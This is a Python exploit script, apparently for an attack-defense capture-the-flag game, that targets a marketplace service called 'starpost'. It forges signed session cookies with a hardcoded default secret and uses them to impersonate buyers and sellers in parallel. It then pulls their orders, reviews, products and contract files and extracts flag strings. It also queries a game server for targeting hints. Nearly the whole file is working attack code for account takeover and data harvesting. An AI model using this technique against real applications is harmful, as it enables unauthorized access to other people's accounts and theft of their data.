446 lines
15 KiB
Python
Executable File
446 lines
15 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
from __future__ import annotations
|
|
|
|
import base64
|
|
import concurrent.futures
|
|
import hashlib
|
|
import hmac
|
|
import json
|
|
import os
|
|
import re
|
|
import secrets
|
|
import sys
|
|
import time
|
|
from ipaddress import ip_address
|
|
from urllib.error import HTTPError, URLError
|
|
from urllib.parse import quote, urlsplit, urlunsplit
|
|
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
|
|
|
TARGET_SCHEME = "http"
|
|
SERVICE_PORT = 8090
|
|
REQUEST_TIMEOUT = 3.5
|
|
TOTAL_TIMEOUT = 24.0
|
|
MAX_RESPONSE = 128 * 1024
|
|
MAX_ATTACK_DATA_RESPONSE = 256 * 1024
|
|
RECENT_USER_WINDOW = 32
|
|
TARGETED_USER_WINDOW = 64
|
|
MAX_WORKERS = 16
|
|
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
|
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
|
|
DECIMAL_HINT_RE = re.compile(r"[1-9][0-9]{0,8}\Z")
|
|
ATTACK_DATA_URL = os.environ.get(
|
|
"STARPOST_ATTACK_DATA_URL",
|
|
"http://10.10.10.10/api/v1/attack_data",
|
|
)
|
|
ATTACK_DATA_SERVICE = "ДОК"
|
|
ATTACK_DATA_TIMEOUT = 1.0
|
|
|
|
|
|
class NoRedirects(HTTPRedirectHandler):
|
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
|
return None
|
|
|
|
|
|
def build_base_url(target: str) -> str:
|
|
raw = target.strip()
|
|
if not raw:
|
|
raise ValueError("empty target")
|
|
if "://" not in raw:
|
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
|
raw = f"{TARGET_SCHEME}://{authority}"
|
|
parsed = urlsplit(raw)
|
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
|
raise ValueError("expected an HTTP target")
|
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
|
raise ValueError("target must not include credentials or a path")
|
|
if parsed.query or parsed.fragment:
|
|
raise ValueError("target must not include query or fragment")
|
|
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
|
|
|
|
|
def b64(data: bytes) -> bytes:
|
|
return base64.urlsafe_b64encode(data).rstrip(b"=")
|
|
|
|
|
|
def forge_session(user_id: int, role: str) -> str:
|
|
payload = json.dumps(
|
|
{"user_id": user_id, "username": "synthetic", "role": role},
|
|
separators=(",", ":"),
|
|
).encode()
|
|
timestamp = int(time.time())
|
|
timestamp_bytes = timestamp.to_bytes(max(1, (timestamp.bit_length() + 7) // 8), "big")
|
|
value = b64(payload) + b"." + b64(timestamp_bytes)
|
|
derived = hmac.new(SESSION_SECRET.encode(), b"cookie-session", hashlib.sha1).digest()
|
|
signature = hmac.new(derived, value, hashlib.sha1).digest()
|
|
return (value + b"." + b64(signature)).decode()
|
|
|
|
|
|
def request(
|
|
base: str,
|
|
path: str,
|
|
method: str = "GET",
|
|
payload=None,
|
|
cookie: str | None = None,
|
|
timeout: float = REQUEST_TIMEOUT,
|
|
):
|
|
body = json.dumps(payload).encode() if payload is not None else None
|
|
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
|
if body is not None:
|
|
headers["Content-Type"] = "application/json"
|
|
if cookie:
|
|
headers["Cookie"] = f"session={cookie}"
|
|
req = Request(base + path, data=body, headers=headers, method=method)
|
|
opener = build_opener(ProxyHandler({}), NoRedirects())
|
|
try:
|
|
with opener.open(req, timeout=timeout) as response:
|
|
data = response.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return response.status, data
|
|
except HTTPError as exc:
|
|
data = exc.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return exc.code, data
|
|
|
|
|
|
def parse_attack_hints(payload: object, target_host: str) -> tuple[set[int], set[str]]:
|
|
try:
|
|
target_ip = str(ip_address(target_host))
|
|
except ValueError:
|
|
return set(), set()
|
|
if not isinstance(payload, dict):
|
|
raise TypeError("attack_data root is not an object")
|
|
service = payload.get(ATTACK_DATA_SERVICE, payload)
|
|
if not isinstance(service, dict):
|
|
raise TypeError("attack_data service is not an object")
|
|
values = service.get(target_ip)
|
|
if values is None:
|
|
return set(), set()
|
|
if not isinstance(values, list) or len(values) > 32:
|
|
raise ValueError("attack_data target hints are invalid")
|
|
product_ids = {
|
|
int(value)
|
|
for value in values
|
|
if isinstance(value, str) and DECIMAL_HINT_RE.fullmatch(value)
|
|
}
|
|
usernames = {
|
|
value
|
|
for value in values
|
|
if isinstance(value, str)
|
|
and not DECIMAL_HINT_RE.fullmatch(value)
|
|
and 1 <= len(value) <= 64
|
|
}
|
|
return product_ids, usernames
|
|
|
|
|
|
def fetch_attack_hints(target_host: str, deadline: float) -> tuple[set[int], set[str]] | None:
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
return None
|
|
req = Request(
|
|
ATTACK_DATA_URL,
|
|
headers={"Accept": "application/json", "User-Agent": "starpost-session/1.1"},
|
|
)
|
|
opener = build_opener(ProxyHandler({}), NoRedirects())
|
|
try:
|
|
with opener.open(req, timeout=min(ATTACK_DATA_TIMEOUT, remaining)) as response:
|
|
if response.status != 200:
|
|
return None
|
|
raw = response.read(MAX_ATTACK_DATA_RESPONSE + 1)
|
|
if len(raw) > MAX_ATTACK_DATA_RESPONSE:
|
|
return None
|
|
return parse_attack_hints(json.loads(raw), target_host)
|
|
except (
|
|
HTTPError,
|
|
URLError,
|
|
OSError,
|
|
TimeoutError,
|
|
TypeError,
|
|
ValueError,
|
|
UnicodeDecodeError,
|
|
json.JSONDecodeError,
|
|
):
|
|
return None
|
|
|
|
|
|
def fetch(base: str, path: str, cookie: str, deadline: float):
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
return None
|
|
try:
|
|
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
|
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
|
return None
|
|
|
|
|
|
def register_probe(base: str, deadline: float) -> int:
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
raise TimeoutError("overall deadline exceeded")
|
|
marker = secrets.token_hex(8)
|
|
status, raw = request(
|
|
base,
|
|
"/api/register",
|
|
method="POST",
|
|
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
|
timeout=min(REQUEST_TIMEOUT, remaining),
|
|
)
|
|
if status != 201:
|
|
raise ValueError(f"registration returned HTTP {status}")
|
|
return int(json.loads(raw)["id"])
|
|
|
|
|
|
def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
|
|
probe_cookie = forge_session(user_id, "seller")
|
|
response = fetch(base, "/api/me", probe_cookie, deadline)
|
|
if response is None or response[0] != 200:
|
|
return []
|
|
_, raw = response
|
|
try:
|
|
identity = json.loads(raw)
|
|
except (TypeError, ValueError):
|
|
return []
|
|
if not isinstance(identity, dict) or identity.get("role") not in {"buyer", "seller"}:
|
|
return []
|
|
role = identity["role"]
|
|
cookie = forge_session(user_id, role)
|
|
paths = ["/api/orders"] if role == "buyer" else [
|
|
"/api/seller/reviews?limit=100",
|
|
"/api/seller/products",
|
|
]
|
|
contract_file = identity.get("contract_file")
|
|
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
|
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
|
output = [raw]
|
|
for path in paths:
|
|
response = fetch(base, path, cookie, deadline)
|
|
if response is None:
|
|
continue
|
|
status, data = response
|
|
if status == 200 and data:
|
|
output.append(data)
|
|
return output
|
|
|
|
|
|
def forged_session_works(base: str, user_id: int, deadline: float) -> bool:
|
|
response = fetch(base, "/api/me", forge_session(user_id, "buyer"), deadline)
|
|
if response is None or response[0] != 200:
|
|
return False
|
|
try:
|
|
identity = json.loads(response[1])
|
|
except (TypeError, ValueError):
|
|
return False
|
|
return isinstance(identity, dict) and identity.get("id") == user_id
|
|
|
|
|
|
def parallel_results(call, user_ids: list[int], deadline: float) -> list[object]:
|
|
results: list[object] = []
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
|
futures = [pool.submit(call, user_id) for user_id in user_ids]
|
|
try:
|
|
for future in concurrent.futures.as_completed(
|
|
futures,
|
|
timeout=max(0.001, deadline - time.monotonic()),
|
|
):
|
|
try:
|
|
result = future.result()
|
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
|
continue
|
|
if result is not None:
|
|
results.append(result)
|
|
except TimeoutError:
|
|
pass
|
|
finally:
|
|
for future in futures:
|
|
future.cancel()
|
|
return results
|
|
|
|
|
|
def find_product_sellers(
|
|
base: str,
|
|
user_ids: list[int],
|
|
product_ids: set[int],
|
|
deadline: float,
|
|
) -> list[tuple[int, bytes]]:
|
|
def inspect(user_id: int):
|
|
cookie = forge_session(user_id, "seller")
|
|
response = fetch(base, "/api/seller/products", cookie, deadline)
|
|
if response is None or response[0] != 200:
|
|
return None
|
|
_, raw = response
|
|
try:
|
|
products = json.loads(raw)
|
|
except (TypeError, ValueError):
|
|
return None
|
|
if not isinstance(products, list):
|
|
return None
|
|
found = {
|
|
product.get("id")
|
|
for product in products
|
|
if isinstance(product, dict) and isinstance(product.get("id"), int)
|
|
}
|
|
return (user_id, raw) if found & product_ids else None
|
|
|
|
return parallel_results(inspect, user_ids, deadline)
|
|
|
|
|
|
def find_named_identities(
|
|
base: str,
|
|
user_ids: list[int],
|
|
usernames: set[str],
|
|
deadline: float,
|
|
) -> list[tuple[int, dict, bytes]]:
|
|
def inspect(user_id: int):
|
|
response = fetch(base, "/api/me", forge_session(user_id, "seller"), deadline)
|
|
if response is None or response[0] != 200:
|
|
return None
|
|
_, raw = response
|
|
try:
|
|
identity = json.loads(raw)
|
|
except (TypeError, ValueError):
|
|
return None
|
|
if not isinstance(identity, dict) or identity.get("username") not in usernames:
|
|
return None
|
|
return user_id, identity, raw
|
|
|
|
return parallel_results(inspect, user_ids, deadline)
|
|
|
|
|
|
def collect_known_identity(
|
|
base: str,
|
|
user_id: int,
|
|
identity: dict,
|
|
identity_raw: bytes,
|
|
deadline: float,
|
|
) -> list[bytes]:
|
|
role = identity.get("role")
|
|
if role not in {"buyer", "seller"}:
|
|
return []
|
|
cookie = forge_session(user_id, role)
|
|
paths = ["/api/orders"] if role == "buyer" else [
|
|
"/api/seller/reviews?limit=100",
|
|
"/api/seller/products",
|
|
]
|
|
contract_file = identity.get("contract_file")
|
|
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
|
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
|
output = [identity_raw]
|
|
for path in paths:
|
|
response = fetch(base, path, cookie, deadline)
|
|
if response is not None and response[0] == 200 and response[1]:
|
|
output.append(response[1])
|
|
return output
|
|
|
|
|
|
def collect_product_seller(
|
|
base: str,
|
|
user_id: int,
|
|
products_raw: bytes,
|
|
deadline: float,
|
|
) -> list[bytes]:
|
|
cookie = forge_session(user_id, "seller")
|
|
output = [products_raw]
|
|
reviews = fetch(base, "/api/seller/reviews?limit=100", cookie, deadline)
|
|
if reviews is not None and reviews[0] == 200 and reviews[1]:
|
|
output.append(reviews[1])
|
|
me = fetch(base, "/api/me", cookie, deadline)
|
|
if me is None or me[0] != 200:
|
|
return output
|
|
output.append(me[1])
|
|
try:
|
|
identity = json.loads(me[1])
|
|
except (TypeError, ValueError):
|
|
return output
|
|
contract_file = identity.get("contract_file") if isinstance(identity, dict) else None
|
|
if isinstance(contract_file, str) and contract_file:
|
|
contract = fetch(
|
|
base,
|
|
"/api/contract?file=" + quote(contract_file, safe=""),
|
|
cookie,
|
|
deadline,
|
|
)
|
|
if contract is not None and contract[0] == 200 and contract[1]:
|
|
output.append(contract[1])
|
|
return output
|
|
|
|
|
|
def collect_recent(base: str, user_ids: list[int], deadline: float) -> list[bytes]:
|
|
chunks: list[bytes] = []
|
|
results = parallel_results(
|
|
lambda user_id: collect_identity(base, user_id, deadline),
|
|
user_ids,
|
|
deadline,
|
|
)
|
|
for result in results:
|
|
if isinstance(result, list):
|
|
chunks.extend(result)
|
|
return chunks
|
|
|
|
|
|
def run_exploit(target: str) -> str:
|
|
base = build_base_url(target)
|
|
deadline = time.monotonic() + TOTAL_TIMEOUT
|
|
target_host = urlsplit(base).hostname
|
|
hints = fetch_attack_hints(target_host, deadline) if target_host else None
|
|
newest = register_probe(base, deadline)
|
|
if not forged_session_works(base, newest, deadline):
|
|
print("default session secret is not accepted", file=sys.stderr)
|
|
return ""
|
|
|
|
chunks: list[bytes] = []
|
|
mode = "recent"
|
|
checked = RECENT_USER_WINDOW
|
|
if hints is not None and any(hints):
|
|
mode = "targeted"
|
|
checked = TARGETED_USER_WINDOW
|
|
user_ids = list(range(newest - 1, max(0, newest - TARGETED_USER_WINDOW - 1), -1))
|
|
product_ids, usernames = hints
|
|
product_sellers = (
|
|
find_product_sellers(base, user_ids, product_ids, deadline)
|
|
if product_ids
|
|
else []
|
|
)
|
|
named_identities = (
|
|
find_named_identities(base, user_ids, usernames, deadline)
|
|
if usernames and time.monotonic() < deadline
|
|
else []
|
|
)
|
|
collected_ids: set[int] = set()
|
|
for user_id, products_raw in product_sellers:
|
|
chunks.extend(collect_product_seller(base, user_id, products_raw, deadline))
|
|
collected_ids.add(user_id)
|
|
for user_id, identity, identity_raw in named_identities:
|
|
if user_id in collected_ids:
|
|
continue
|
|
chunks.extend(
|
|
collect_known_identity(base, user_id, identity, identity_raw, deadline)
|
|
)
|
|
else:
|
|
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
|
|
chunks.extend(collect_recent(base, user_ids, deadline))
|
|
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
|
|
print(f"mode={mode}, checked up to {checked} identities; candidates={len(flags)}", file=sys.stderr)
|
|
return b"\n".join(flags).decode("ascii")
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
|
return 2
|
|
try:
|
|
output = run_exploit(sys.argv[1])
|
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
|
print(f"request failed: {exc}", file=sys.stderr)
|
|
return 1
|
|
if output:
|
|
print(output, flush=True)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|